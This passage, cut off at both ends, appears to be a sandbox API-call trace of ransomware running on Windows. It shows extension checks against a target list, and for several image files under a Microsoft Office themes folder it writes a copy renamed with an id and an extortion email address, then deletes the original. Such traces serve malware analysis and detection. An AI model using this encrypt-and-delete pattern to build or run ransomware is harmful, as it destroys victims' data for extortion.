lstrlenW (lpString=".ppt") returned 4 [0044.850] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0044.850] lstrlenW (lpString=".zip") returned 4 [0044.850] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.850] lstrlenW (lpString=".rar") returned 4 [0044.850] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.850] lstrlenW (lpString=".bz2") returned 4 [0044.850] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.850] lstrlenW (lpString=".7z") returned 3 [0044.850] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0044.851] lstrlenW (lpString=".dbf") returned 4 [0044.851] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0044.851] lstrlenW (lpString=".1cd") returned 4 [0044.851] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0044.851] lstrlenW (lpString=".jpg") returned 4 [0044.851] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0044.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0044.851] lstrlenW (lpString=".doc") returned 4 [0044.851] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.851] lstrlenW (lpString=".docx") returned 5 [0044.851] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.851] lstrlenW (lpString=".pdf") returned 4 [0044.851] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.851] lstrlenW (lpString=".xls") returned 4 [0044.851] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.851] lstrlenW (lpString=".xlsx") returned 5 [0044.851] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.851] lstrlenW (lpString=".ppt") returned 4 [0044.851] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0044.851] lstrlenW (lpString=".zip") returned 4 [0044.851] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.851] lstrlenW (lpString=".rar") returned 4 [0044.851] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.851] lstrlenW (lpString=".bz2") returned 4 [0044.851] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.851] lstrlenW (lpString=".7z") returned 3 [0044.851] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0044.851] lstrlenW (lpString=".dbf") returned 4 [0044.852] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0044.852] lstrlenW (lpString=".1cd") returned 4 [0044.852] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0044.852] lstrlenW (lpString=".jpg") returned 4 [0044.852] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.852] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.852] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0045.526] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=29925) returned 1 [0045.526] CloseHandle (hObject=0x1c8) returned 1 [0045.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0045.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0045.527] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.527] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.527] GetLastError () returned 0x0 [0045.527] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x74e5, lpOverlapped=0x0) returned 1 [0045.568] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0045.569] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.569] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.569] SetEndOfFile (hFile=0x214) returned 1 [0045.569] CloseHandle (hObject=0x214) returned 1 [0045.570] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.570] SetEndOfFile (hFile=0x1c8) returned 1 [0045.570] CloseHandle (hObject=0x1c8) returned 1 [0045.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.571] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0045.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.571] lstrlenW (lpString=".doc") returned 4 [0045.571] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.571] lstrlenW (lpString=".docx") returned 5 [0045.571] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.571] lstrlenW (lpString=".pdf") returned 4 [0045.571] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.571] lstrlenW (lpString=".xls") returned 4 [0045.571] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.571] lstrlenW (lpString=".xlsx") returned 5 [0045.571] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.571] lstrlenW (lpString=".ppt") returned 4 [0045.571] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.571] lstrlenW (lpString=".zip") returned 4 [0045.571] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.571] lstrlenW (lpString=".rar") returned 4 [0045.572] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.572] lstrlenW (lpString=".bz2") returned 4 [0045.572] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.572] lstrlenW (lpString=".7z") returned 3 [0045.572] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.572] lstrlenW (lpString=".dbf") returned 4 [0045.572] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.572] lstrlenW (lpString=".1cd") returned 4 [0045.572] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.572] lstrlenW (lpString=".jpg") returned 4 [0045.572] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.572] lstrlenW (lpString=".doc") returned 4 [0045.572] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.572] lstrlenW (lpString=".docx") returned 5 [0045.572] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.572] lstrlenW (lpString=".pdf") returned 4 [0045.572] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.572] lstrlenW (lpString=".xls") returned 4 [0045.572] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.572] lstrlenW (lpString=".xlsx") returned 5 [0045.572] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.572] lstrlenW (lpString=".ppt") returned 4 [0045.572] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.572] lstrlenW (lpString=".zip") returned 4 [0045.573] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.573] lstrlenW (lpString=".rar") returned 4 [0045.573] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.573] lstrlenW (lpString=".bz2") returned 4 [0045.573] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.573] lstrlenW (lpString=".7z") returned 3 [0045.573] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.573] lstrlenW (lpString=".dbf") returned 4 [0045.573] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.573] lstrlenW (lpString=".1cd") returned 4 [0045.573] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.573] lstrlenW (lpString=".jpg") returned 4 [0045.573] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.573] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0045.573] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0045.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0045.574] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1347) returned 1 [0045.574] CloseHandle (hObject=0x1c8) returned 1 [0045.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0045.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0045.574] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.575] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.576] GetLastError () returned 0x0 [0045.576] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x543, lpOverlapped=0x0) returned 1 [0045.578] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x550, lpOverlapped=0x0) returned 1 [0045.579] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.579] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.579] SetEndOfFile (hFile=0x214) returned 1 [0045.579] CloseHandle (hObject=0x214) returned 1 [0045.579] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.579] SetEndOfFile (hFile=0x1c8) returned 1 [0045.580] CloseHandle (hObject=0x1c8) returned 1 [0045.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.580] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0045.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.580] lstrlenW (lpString=".doc") returned 4 [0045.580] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.580] lstrlenW (lpString=".docx") returned 5 [0045.580] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.580] lstrlenW (lpString=".pdf") returned 4 [0045.580] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.580] lstrlenW (lpString=".xls") returned 4 [0045.580] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.580] lstrlenW (lpString=".xlsx") returned 5 [0045.581] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.581] lstrlenW (lpString=".ppt") returned 4 [0045.581] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.581] lstrlenW (lpString=".zip") returned 4 [0045.581] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.581] lstrlenW (lpString=".rar") returned 4 [0045.581] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.581] lstrlenW (lpString=".bz2") returned 4 [0045.581] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.581] lstrlenW (lpString=".7z") returned 3 [0045.581] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.581] lstrlenW (lpString=".dbf") returned 4 [0045.581] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.581] lstrlenW (lpString=".1cd") returned 4 [0045.581] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.581] lstrlenW (lpString=".jpg") returned 4 [0045.581] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.581] lstrlenW (lpString=".doc") returned 4 [0045.581] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.581] lstrlenW (lpString=".docx") returned 5 [0045.581] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.581] lstrlenW (lpString=".pdf") returned 4 [0045.581] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.581] lstrlenW (lpString=".xls") returned 4 [0045.581] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.582] lstrlenW (lpString=".xlsx") returned 5 [0045.582] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.582] lstrlenW (lpString=".ppt") returned 4 [0045.582] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.582] lstrlenW (lpString=".zip") returned 4 [0045.582] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.582] lstrlenW (lpString=".rar") returned 4 [0045.582] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.582] lstrlenW (lpString=".bz2") returned 4 [0045.582] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.582] lstrlenW (lpString=".7z") returned 3 [0045.582] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.582] lstrlenW (lpString=".dbf") returned 4 [0045.582] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.582] lstrlenW (lpString=".1cd") returned 4 [0045.582] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.582] lstrlenW (lpString=".jpg") returned 4 [0045.582] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.582] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0045.582] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0045.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0045.583] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=32403) returned 1 [0045.583] CloseHandle (hObject=0x1c8) returned 1 [0045.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0045.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0045.583] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.583] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.584] GetLastError () returned 0x0 [0045.584] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x7e93, lpOverlapped=0x0) returned 1 [0045.586] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0045.587] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.587] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.587] SetEndOfFile (hFile=0x214) returned 1 [0045.587] CloseHandle (hObject=0x214) returned 1 [0045.587] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.587] SetEndOfFile (hFile=0x1c8) returned 1 [0045.588] CloseHandle (hObject=0x1c8) returned 1 [0045.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.588] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0045.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.589] lstrlenW (lpString=".doc") returned 4 [0045.589] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.589] lstrlenW (lpString=".docx") returned 5 [0045.589] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.589] lstrlenW (lpString=".pdf") returned 4 [0045.589] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.589] lstrlenW (lpString=".xls") returned 4 [0045.589] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.589] lstrlenW (lpString=".xlsx") returned 5 [0045.589] lstrcmpiW 